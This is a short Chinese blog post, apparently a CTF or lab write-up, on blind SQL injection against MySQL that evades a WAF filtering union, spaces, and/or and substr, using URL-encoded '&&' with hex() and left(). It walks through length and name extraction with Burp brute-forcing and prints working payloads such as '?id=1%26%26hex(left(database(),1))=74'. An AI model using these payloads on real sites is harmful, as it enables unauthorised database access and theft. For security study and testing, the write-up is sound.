盲注 hex編碼繞waf(思路)
阿新 • • 發佈:2020-09-12
mysql分割函式有:substr、substring、left
當union、空格、and、or、註釋、substr被過濾的時候如下
可嘗試用編碼進行繞過,如URLEncode編碼,ASCII,HEX,unicode編碼繞過,上面程式碼沒有過濾left,可以用left加上hex進行繞過
這裡通過測試語句判斷出是數字型注入
錯誤則不顯示,用盲注試一下,
判斷資料庫長度語句:
/?id=1'%20 and (length(database()))=8--+
修改後:
?id=1%26%26hex(length(database()))>5
通過二分法得出資料庫長度為:4
接下來判斷資料庫名:可通過burp抓包爆破,payload為:
?id=1%26%26hex(left(database(),1))=1 //(left(database(),1) 1表示資料庫名第一位
第一個變數:資料庫長度
第二個變數:hex編碼
payload options [Brute forcer] 最小長度為1,最大長度為8.
當然,最快的方法是爆出一位,填payload裡再繼續爆破下一位。
payload options [Brute forcer]填8,是因為ascii編碼轉過來是2位,見下圖
這種爆破方式較慢,沒爆破完,結果如下:
payload為:
?id=1%26%26hex(left(database(),1))=74 //資料庫第1位
?id=1%26%26hex(left(database(),2))=7469 //資料庫第2位
?id=1%26%26hex(left(database(),3))=746970 // 資料庫第3位
最後結果為:
通過ascii與hex對照表得出資料庫名:tips